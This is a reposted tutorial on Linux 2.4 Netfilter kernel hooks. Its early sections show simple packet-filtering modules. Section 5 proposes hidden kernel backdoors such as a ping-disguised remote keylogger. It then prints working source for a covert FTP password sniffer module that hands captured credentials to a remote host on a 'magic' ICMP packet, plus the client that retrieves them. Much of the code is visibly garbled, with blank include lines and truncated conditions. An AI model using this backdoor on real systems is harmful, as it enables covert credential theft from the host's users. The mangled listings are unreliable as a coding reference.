Contribute  :  Advanced Search  :  Site Statistics  :  Directory  :  Calendar  :  Links  :  Polls  :  About Us  :  The Staff  
Topsight.net Discussions on computers and beyond
Welcome to Topsight.net
Friday, May 16 2008 @ 12:21 AM EDT
   

Using Netfilter hooks

LinuxFor an article on using Netfilter hooks and their possibilities for backdooring a linux kernel, read this. You should also find it in Phrack #61 when it's published.

Table of Contents
1. Introduction
1.1 What this document is
1.2 What this document is not
1.3 Conventions used
2. The various hooks and their uses
2.1 The Linux kernel's handling of packets
2.2 The Netfilter hooks for IPv4
3. Registering and unregistering Netfilter hooks
4. Packet filtering operations
4.1 A closer look at hook functions
4.2 Filtering by interface
4.3 Filtering by address
4.4 Filtering by TCP port
5. Other possibilities for Netfilter hooks
5.1 Hidden backdoor daemons
5.2 Kernel based FTP password sniffer
5.2.1 The code... nfsniff.c
5.2.2 getpass.c
6. Conclusion
A. Light-Weight Fire Wall
A.1 Overview
A.2 The source... lwfw.c
A.3 lwfw.h
B. References

1. Introduction

Netfilter is a subsystem in the Linux 2.4 kernel. Netfilter makes such network tricks as packet filtering, network address translation (NAT) and connection tracking possible through the use of various hooks in the kernel's network code. These hooks are places that kernel code, either statically built or in the form of a loadable module, can register functions to be called for specific network events. An example of such an event is the reception of a packet.

1.1 What this document is

This document discusses how a module writer can make use of the Netfilter hooks for whatever purposes. Although Linux 2.4 supports hooks for IPv4, IPv6 and DECnet, only IPv4 will be discussed in this document. However, most of the IPv4 content can be applied to the other protocols. As an aide to teaching, a working kernel module that provides basic packet filtering is provided in Appendix A and is available online here. Any development/experimentation done for this document was done on an Intel machine running Linux 2.4.5. Testing the behaviour of Netfilter hooks was done using the loopback device, an Ethernet device and a modem Point-to-Point interface.

This document is also written for my benefit in an attempt to fully understand Netfilter. I do not guarantee that any code accompanying this document is 100% error free but I have tested all code provided here. I have suffered the kernel faults so hopefully you won't have to. Also, I do not accept any responsibility for damages that may occur through following this document. It is expected that the reader is comfortable with the C programming language and has some familiarity with loadable kernel modules.

If I have made a mistake in something presented here then please let me know. I am also open to suggestions on either improving this document or other nifty Netfilter tricks in general.

1.2 What this document is not

This document is not a complete ins-and-outs reference for Netfilter. It is also not a reference for the iptables command. If you want to learn more about the iptables command, consult the man pages.

1.3 Conventions used

Throughout this document several typographical conventions are used. Italicised text like this will be used for C code and data type declarations. Bold text like this will be used for the names of system commands such as ls or iptables, as well as the names of files from the Linux source tree.


2. The various hooks and their uses 2.1 The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of packets and the events preceeding and following each Netfilter hook, I won't. The simple reason is that Harald Welte has already written a nice document on the subject, his Journey of a packet through the Linux 2.4 network stack document. To learn more on Linux's handling of packets, I strongly suggest that you read this document as well. For now, just understand that as a packet moves through the Linux kernel's network stack it crosses several hook locations where packets can be analysed and kept or discarded.

2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4. The declaration of the symbols for these can be found in linux/netfilter_ipv4.h. These hooks are displayed in their order of calling in the table below:

Table 1: Available IPv4 hooks
Hook Called...
NF_IP_PRE_ROUTING After sanity checks, before routing decisions.
NF_IP_LOCAL_IN After routing decisions if packet is for this host.
NF_IP_FORWARD If the packet is destined for another interface.
NF_IP_LOCAL_OUT For packets coming from local processes on their way out.
NF_IP_POST_ROUTING Just before outbound packets "hit the wire".

The NF_IP_PRE_ROUTING hook is called as the first hook after a packet has been received. This is the hook that the module presented later will utilise. Yes the other hooks are very useful as well, but for now we will focus only NF_IP_PRE_ROUTING.

After hook functions have done whatever processing they need to do with a packet they must return one of the predefined Netfilter return codes. These codes are:

Table 2: Netfilter return codes
Return Code Meaning
NF_DROP Discard the packet.
NF_ACCEPT Keep the packet.
NF_STOLEN Forget about the packet.
NF_QUEUE Queue packet for userspace.
NF_REPEAT Call this hook function again.

The NF_DROP return code means that this packet should be dropped completely and any resources allocated for it should be released. NF_ACCEPT tells Netfilter that so far the packet is still acceptable and that it should move to the next stage of the network stack. NF_STOLEN is an interesting one because it tells Netfilter to "forget" about the packet. What this tells Netfilter is that the hook function will take processing of this packet from here and that Netfilter should drop all processing of it. This does not mean, however, that resources for the packet are released. The packet and it's respective sk_buff structure are still valid, it's just that the hook function has taken ownership of the packet away from Netfilter. Unfortunately I'm not exactly clear on what NF_QUEUE really does so for now I won't discuss it. The last return value, NF_REPEAT requests that Netfilter calls the hook function again. Obviously one must be careful using NF_REPEAT so as to avoid an endless loop.


3. Registering and unregistering Netfilter hooks

Registration of a hook function is a very simple process that revolves around the nf_hook_ops structure, defined in linux/netfilter.h. The definition of this structure is as follows:

          struct nf_hook_ops {
                  struct list_head list;

                  /* User fills in from here down. */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hooks are ordered in ascending priority. */
                  int priority;
          };

The list member of this structure is used to maintain the lists of Netfilter hooks and has no importance for hook registration as far as users are concerned. hook is a pointer to a nf_hookfn function. This is the function that will be called for the hook. nf_hookfn is defined in linux/netfilter.h as well. The pf field specifies a protocol family. Valid protocol families are available from linux/socket.h but for IPv4 we want to use PF_INET. The hooknum field specifies the particular hook to install this function for and is one of the values listed in table 1. Finally, the priority field specifies where in the order of execution this hook function should be placed. For IPv4 acceptable values are defined in linux/netfilter_ipv4.h in the nf_ip_hook_priorities enumeration. For the purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration of a Netfilter hook requires using a nf_hook_ops structure with the nf_register_hook() function. nf_register_hook() takes the address of an nf_hook_ops structure and returns an integer value. However, if you actually look at the code for the nf_register_hook() function in net/core/netfilter.c, you will notice that it only ever returns a value of zero. Provided below is example code that simply registers a function that will drop all packets that come in. This code will also show how the Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook Skip...
      /* Sample code to install a Netfilter hook function that will
     * drop all incoming packets. */

    #define __KERNEL__
    #define MODULE

    #include 
    #include 
    #include 
    #include 

    /* This is the structure we shall use to register our function */
    static struct nf_hook_ops nfho;

    /* This is the hook function itself */
    unsigned int hook_func(unsigned int hooknum,
                           struct sk_buff **skb,
                           const struct net_device *in,
                           const struct net_device *out,
                           int (*okfn)(struct sk_buff *))
    {
        return NF_DROP;           /* Drop ALL packets */
    }

    /* Initialisation routine */
    int init_module()
    {
        /* Fill in our hook structure */
        nfho.hook     = hook_func;         /* Handler function */
	nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
	nfho.pf       = PF_INET;
	nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

        nf_register_hook(&nfho);
    
        return 0;
    }
	    /* Cleanup routine */
    void cleanup_module()
    {
        nf_unregister_hook(&nfho);
    }

That's all there is to it. From the code given in listing 1 you can see that unregistering a Netfilter hook is a simple matter of calling nf_unregister_hook() with the address of the same structure you used to register the hook.


4. Basic packet filtering techniques 4.1 A closer look at hook functions

Now its time to start looking at what data gets passed into hook functions and how that data can be used to make filtering decisions. So let's look more closely at the prototype for nf_hookfn functions. The prototype is given in linux/netfilter.h as follows:

          typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));

The first argument to nf_hookfn functions is a value specifying one of the hook types given in table 1. The second argument is more interesting. It is a pointer to a pointer to a sk_buff structure, the structure used by the network stack to describe packets. This structure is defined in linux/skbuff.h and due to its size, I shall only highlight some of it's more interesting fields here.

Possibly the most useful fields out of sk_buff structures are the three unions that describe the transport header (ie. UDP, TCP, ICMP, SPX), the network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet or RAW). The names of these unions are h, nh and mac respectively. These unions contain several structures, depending on what protocols are in use in a particular packet. One should note that the transport header and network header may very well point to the same location in memory. This is the case for TCP packets where h and nh are both considered as pointers to IP header structures. This means that attempting to get a value from h->th thinking it's pointing to the TCP header will result in false results because h->th will actually be pointing to the IP header, just like nh->iph.

Other fields of immediate interest are the len and data fields. len specifies the total length of the packet data beginning at data. So now we know how to access individual protocol headers and the packet data itself from a sk_buff structure. What other interesting bits of information are available to Netfilter hook functions?

The two arguments that come after skb are pointers to net_device structures. net_device structures are what the Linux kernel uses to describe network interfaces of all sorts. The first of these structures, in, is used to describe the interface the packet arrived on. Not surprisingly the out structure describes the interface the packet is leaving on. It is important to realise that usually only one of these structures will be provided. For instance, in will only be provided for the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided for the NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING hooks. At this stage I haven't tested which of these structures are available for the NF_IP_FORWARD hook but if you make sure the pointers are non-NULL before attempting to dereference them you should be fine.

Finally, the last item passed into a hook function is a function pointer called okfn that takes a sk_buff structure as its only argument and returns an integer. I'm not too sure on what this function does. Looking in net/core/netfilter.c there are two places where this okfn is called. These two places are in the functions nf_hook_slow() and nf_reinject() where at a certain place this function is called on a return value of NF_ACCEPT from a Netfilter hook. If anybody has more information on okfn please let me know.

Now that we've looked at the most interesting and useful bits of information that our hook functions receive, it's time to look at how we can use that information to filter packets in a variety of ways.

4.2 Filtering by interface

This would have to be the simplest filtering technique we can do. Remember those net_device structures our hook function received? Using the name field from the relevant net_device structure allows us to drop packets depending on their source interface or destination interface. To drop all packets that arrive on interface eth0 all one has to do is compare the value of in->name with "eth0". If the names match then the hook function simply returns NF_DROP and the packet is destroyed. It's as easy as that. Sample code to do this is provided in listing 2 below. Note that the Light-Weight FireWall module will provide simple examples of all the filtering methods provided here. It also includes an IOCTL interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface Skip...
    /* Sample code to install a Netfilter hook function that will
     * drop all incoming packets on an interface we specify */

    #define __KERNEL__
    #define MODULE

    #include 
    #include 
    #include 
    #include 
    #include 

    /* This is the structure we shall use to register our function */
    static struct nf_hook_ops nfho;

    /* Name of the interface we want to drop packets from */
    static char *drop_if = "lo";

    /* This is the hook function itself */
    unsigned int hook_func(unsigned int hooknum,
                           struct sk_buff **skb,
                           const struct net_device *in,
                           const struct net_device *out,
                           int (*okfn)(struct sk_buff *))
    {
        if (strcmp(in->name, drop_if) == 0) {
            printk("Dropped packet on %s...n", drop_if);
            return NF_DROP;
	} else {
	    return NF_ACCEPT;
	}
    }

    /* Initialisation routine */
    int init_module()
    {
        /* Fill in our hook structure */
        nfho.hook     = hook_func;         /* Handler function */
	nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
	nfho.pf       = PF_INET;
	nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

        nf_register_hook(&nfho);
    
        return 0;
    }
	    /* Cleanup routine */
    void cleanup_module()
    {
        nf_unregister_hook(&nfho);
    }

Now isn't that simple? Next, let's have a look at filtering based on IP addresses.

4.3 Filtering by address

As with filtering packets by their interface, filtering packets by their source or destination IP address is very simple. This time we are interested in the sk_buff structure. Now remember that the skb argument is a pointer to a pointer to a sk_buff structure. To avoid running into problems it is good practice to declare a seperate pointer to a sk_buff structure and assign the value pointed to by skb to this newly declared pointer. Like so:

    struct sk_buff *sb = *skb;    /* Remove 1 level of indirection */

Now you only have to dereference once to access items in the structure. Obtaining the IP header for a packet is done using the network layer header from the the sk_buff structure. This header is contained in a union and can be accessed as sk_buff->nh.iph. The function in listing 3 demonstrates how to check the source IP address of a received packet against an address to deny when given a sk_buff for the packet. This code has been pulled directly from LWFW. The only difference is that the update of LWFW statistics has been removed.

Listing 3. Checking source IP of a received packet
          unsigned char *deny_ip = "x7Fx00x00x01";  /* 127.0.0.1 */
	  
	  ...

          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
	       * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
          
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { 	          return NF_DROP;
              }

              return NF_ACCEPT;
          }

Now if the source address matches the address we want to drop packets from then the packet is dropped. For this function to work as presented the value of deny_ip should be stored in Network Byte Order (Big-endian, opposite of Intel). Although it's unlikely that this function will be called with a NULL pointer for it's argument, it never hurts to be a little paranoid. Of course if an error does occur then the function will return NF_ACCEPT so that Netfilter can continue processing the packet. Listing 4 presents the simple module used to demonstrate interface based filtering changed so that it drops packets that match a particular IP address.

Listing 4. Filtering packets based on their source address Skip...
          /* Sample code to install a Netfilter hook function that will
          * drop all incoming packets from an IP address we specify */

          #define __KERNEL__
          #define MODULE

          #include 
          #include 
          #include 
          #include                   /* For IP header */
          #include 
          #include 

          /* This is the structure we shall use to register our function */
          static struct nf_hook_ops nfho;

          /* IP address we want to drop packets from, in NB order */
          static unsigned char *drop_ip = "x7fx00x00x01";   /* 127.0.0.1 */

          /* This is the hook function itself */
          unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
              struct sk_buff *sb = *skb;

              if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {
                  printk("Dropped packet from... %d.%d.%d.%dn",
		         drop_ip, *(drop_ip + 1), *(drop_ip + 2),
			 *(drop_ip + 3));
                  return NF_DROP;
              } else {
                  return NF_ACCEPT;
              }
          }

          /* Initialisation routine */
          int init_module()
          {
              /* Fill in our hook structure */
              nfho.hook     = hook_func;
              /* Handler function */
              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
              nfho.pf       = PF_INET;
              nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */
          
              nf_register_hook(&nfho);

              return 0;
          }
          	  /* Cleanup routine */
          void cleanup_module()
          {
              nf_unregister_hook(&nfho);
          }
4.4 Filtering by TCP port

Another simple rule to implement is the filtering of packets based on their TCP destination port. This is only a bit more fiddly than checking IP addresses because we need to create a pointer to the TCP header ourselves. Remember what was discussed earlier about transport headers and network headers? Getting a pointer to the TCP header is a simple matter of allocating a pointer to a struct tcphdr (defined in linux/tcp.h) and pointing after the IP header in our packet data. Perhaps an example would help. Listing 5 presents code to check if the destination TCP port of a packet matches some port we want to drop all packets for. As with listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet
          unsigned char *deny_port = "x00x19";   /* port 25 */
	  
	  ...

          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain
	       * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }

              thead = (struct tcphdr *)(skb->data +
                                       (skb->nh.iph->ihl * 4));

              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }
          	      return NF_ACCEPT;
          }

Very simple indeed. Don't forget that for this function to work deny_port should be in network byte order. That's it for packet filtering basics. Now it's time to move onto more interesting stuff.


5. Other possibilities for Netfilter hooks

Here I'll make some proposals for other cool stuff to do with Netfilter hooks. Section 5.1 will simply provide food for thought, while section 5.2 shall discuss and provide working code for a kernel based FTP password sniffer with remote password retrieval that really does work. It fact it works so well it scares me, and I wrote it.

5.1 Hidden backdoor daemons

Kernel module programming would have to be one of the most interesting areas of development for Linux. Writing code in the kernel means you are writing code in a place where you are limited only by your imagination. From a malicous point of view you can hide files, processes, and do all sorts of cool things that any rootkit worth its salt is capable of. Then from a not-so-malicious point of view (yes people with this point of view do exist) you can hide files, processes and do all sorts of cool things. The kernel really is a fascinating place.

Now with all the power made available to a kernel level programmer, there are a lot of possibilities. Possibly one of the most interesting (and scary for system administrators) is the possibility of backdoors built right into the kernel. Afterall, if a backdoor doesn't run as a process then how do you know it's running? Of course there are ways of making your kernel cough-up such backdoors, but they are by no means as easy and simple as running ps. Now the idea of putting backdoor code into a kernel is not new. What I'm proposing here, however, is placing simple network services as kernel backdoors using, you guessed it, Netfilter hooks.

If you have the necessary skills and willingness to crash your kernel in the name of experimentation, then you can construct simple but useful network services located entirely in the kernel and accessible remotely. Basically a Netfilter hook could watch incoming packets for a "magic" packet and when that magic packet is received, do something special. Results can then be sent from the Netfilter hook and the hook function can return NF_STOLEN so that the received "magic" packet goes no further. Note, however, that when sending in such a fassion, outgoing packets will still be visible on the outbound Netfilter hooks. Therefore userspace is totally unaware that the magic packet ever arrived, but they can still see whatever you send out. Beware! Just because a sniffer on a compromised host can't see the packet, doesn't mean that a sniffer on an intermediate host can't see the packet. kossak and lifeline wrote an excellent article for Phrack describing how such things could be done by registering packet type handlers. Although this document deals with Netfilter hooks I still suggest reading their article (Issue 55, file 12) as it is a very interesting read with some very interesting ideas being presented.

So what kind of work could a backdoor Netfilter hook do? Well, here are some suggestions:

  • Remote access key-logger. Module logs keystrokes and results are sent to a remote host when that host sends a PING request. So a stream of keystroke information could be made to look like a steady (don't flood) stream of PING replies. Of course one would want to implement a simple encryption so that ASCII keys don't show themselves immediately and some alert system administrator goes "Hang on. I typed that over my SSH session before! Oh $%@T%&!".
  • Various simple administration tasks such as getting lists of who is currently logged onto the machine or obtaining information about open network connections.
  • Remote control as part of a larger rootkit module. Wouldn't it be nice to tell your rootkit on the otherside of the world to modify the wmtp and umtp files without control packets appearing in sniffer logs?
  • Packet bouncer. Redirects packets aimed at a special port on the backdoored host to another IP host and port and sends packets from that host back to the initiator. No process being spawned and best of all, no network socket being opened.
  • FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save the information until a magic packet comes in asking for it.
Well that's a short list of ideas. The last one will actually be discussed in more detail in the next section and working code will be provided as proof of concept.

5.2 Kernel based FTP password sniffer

Presented here is a simple proof-of-concept module that acts as a Netfilter backdoor. This module will sniff outgoing FTP packets looking for a USER and PASS command pair for an FTP server. When a pair is found the module will then wait for a "magic" ICMP ECHO (Ping) packet big enough to return the server's IP address and the username and password. Also provided is a quick hack that sends a magic packet, gets a reply then prints the returned information. Once a username/password pair has been read from the module it will then look for the next pair. Note that only one pair will be stored by the module at one time. Now that a brief overview has been provided, it's time to present a more detailed look at how the module does its thing.

When loaded, the module's init_module() function simply registers two Netfilter hooks. The first one is used to watch incoming traffic (on NF_IP_PRE_ROUTING) in an attempt to find a "magic" ICMP packet. The next one is used to watch traffic leaving the machine (on NF_IP_POST_ROUTING) the module is installed on. This is where the search and capture of FTP USER and PASS packets happens. The cleanup_module() procedure simply unregisters these two hooks.

watch_out() is the function used to hook NF_IP_POST_ROUTING. Looking at this function you can see that it is very simple in operation. When a packet enters the function it is run through various checks to be sure it's an FTP packet. If it's not then a value of NF_ACCEPT is returned immediately. If it is an FTP packet then the module checks to be sure that it doesn't already have a username and password pair already queued. If it does (as signalled by have_pair being non-zero) then NF_ACCEPT is returned and the packet can finally leave the system. Otherwise, the check_ftp() procedure is called. This is where extraction of passwords actually takes place. If no previous packets have been received then the target_ip and target_port variables should be cleared.

check_ftp() starts by looking for either "USER", "PASS" or "QUIT" at the beginning of the packet. Note that PASS commands will not be processed until a USER command has been processed. This prevents deadlock that occurs if for some reason a PASS command is received first and the connection breaks before USER arrives. Also, if a QUIT command arrives and only a username has been captured then things are reset so sniffing can start over on a new connection. When a USER or PASS command arrives, if the necessary sanity checks are passed then the argument to the command is copied. Just before check_ftp() finishes under normal operations, it checks to see if it now has a valid username and password string. If it does then have_pair is set and no more usernames or passwords will be grabbed until the current pair is retrieved.

So far you have seen how this module installs itself and begins looking for usernames and passwords to log. Now you shall see what happens when the specially formatted "magic" packet arrives. Pay particular attention here because this is where the most problems arose during development. 16 kernel faults if I remember correctly :). When packets come into the machine with this module installed, watch_in() checks each one to see if it is a magic packet. If it does not pass the necessary requirements to be considered magic, then the packet is ignored by watch_in() who simply returns NF_ACCEPT. Notice how one of the criteria for magic packets is that they have enough room to hold the IP address and username and password strings. This is done to make sending the reply easier. A fresh sk_buff could have been allocated, but getting all of the necessary fields right can be extremely difficult and you have to get them right! So instead of creating a new structure for our reply packet, we simply tweak the request packet's structure. To return the packet successfully, several changes need to be made. Firstly, the IP addresses are swapped around and the packet type field of the sk_buff structure (pkt_type) is changed to PACKET_OUTGOING which is defined in linux/if_packet.h. The next thing to take care of is making sure any link layer headers are included. The data field of our received packet's sk_buff points after the link layer header and it is the data field that points to the beginning of packet data to be transmitted. So for interfaces that require the link layer header (Ethernet and Loopback. Point-to-Point is raw) we point the data field to the mac.ethernet or mac.raw structures. To determine what type of interface this packet came in on, you can check the value of sb->dev->type where sb is a pointer to a sk_buff structure. Valid values for this field can be found in linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types
Type Code Interface Type
ARPHRD_ETHER Ethernet
ARPHRD_LOOPBACK Loopback device
ARPHRD_PPP Point-to-point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our reply. It's now time to send the packet. The dev_queue_xmit() function takes a pointer to a sk_buff structure as it's only argument and returns a negative errno code on a nice failure. What do I mean by nice failure? Well, if you give dev_queue_xmit() a badly constructed socket buffer then you will get a not-so-nice failure. One that comes complete with kernel fault and kernel stack dump information. See how failures can be split into two groups here? Finally, watch_in() returns NF_STOLEN to tell Netfilter to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return NF_DROP if you have called dev_queue_xmit()! If you do then you will quickly get a nasty kernel fault. Well that's enough discussion on the code, it's now time to actually see the code.

5.2.1 The code... nfsniff.c Skip...
/* Simple proof-of-concept for kernel-based FTP password sniffer.
 * A captured Username and Password pair are sent to a remote host
 * when that host sends a specially formatted ICMP packet. Here we
 * shall use an ICMP_ECHO packet whose code field is set to 0x5B
 * *AND* the packet has enough
 * space after the headers to fit a 4-byte IP address and the
 * username and password fields which are a max. of 15 characters
 * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

 /* Written by Owen Klan,  March 2003 */

#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) 
			       - sizeof(struct iphdr) 
			       - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
 * they are queried. Only one USER/PASS pair will be held at one
 * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;	       /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;	       /* Incoming */
struct nf_hook_ops  post_hook;	       /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != 'r' && *(data + i) != 'n'
	     && *(data + i) != '' && i nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;		       /* Have a pair. Ignore others until
					* this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %sn", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
			      struct sk_buff **skb,
			      const struct net_device *in,
			      const struct net_device *out,
			      int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;		       /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;		       /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
			     struct sk_buff **skb,
			     const struct net_device *in,
			     const struct net_device *out,
			     int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;		       /* Where we copy data to in reply */
   unsigned int   taddr;	       /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
   
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:		       /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
	{
	   unsigned char t_hwaddr[ETH_ALEN];
	   
	   /* Move the data pointer to point to the link layer header */
	   sb->data = (unsigned char *)sb->mac.ethernet;
	   sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
	   memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
		  ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
	   break;
	}
   };
 
   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrievedn");
   
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
5.2.2 getpass.c Skip...
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by Owen Klan  -  March 2003 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#ifndef __USE_BSD
# define __USE_BSD		       /* We want the proper headers */
#endif
# include 
#include 

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];	       /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int ine= 1;
    int *ptr_one = &one;
        if (argc ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
	       sizeof(struct sockaddr))  0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}

6. Conclusion Hopefully by now you have at least a basic understanding of what Netfilter is, how to use it and what you can do with it. Stay tuned for more articles on Netfilter backdoors and also for changes to this document. If you would like a tarball of the sources used for this tutorial then just email me. I would also appreciate any corrections or suggestions.
A. Light-Weight Fire Wall A.1 Overview

The Light-Weight Fire Wall (LWFW) is a simple kernel module that demonstrates the basic packet filtering techniques that were presented in section 4. LWFW also provides a control interface through the ioctl() system call. Also provided in this appendix are source files for a userspace control application and a userspace statistics retrieval application.

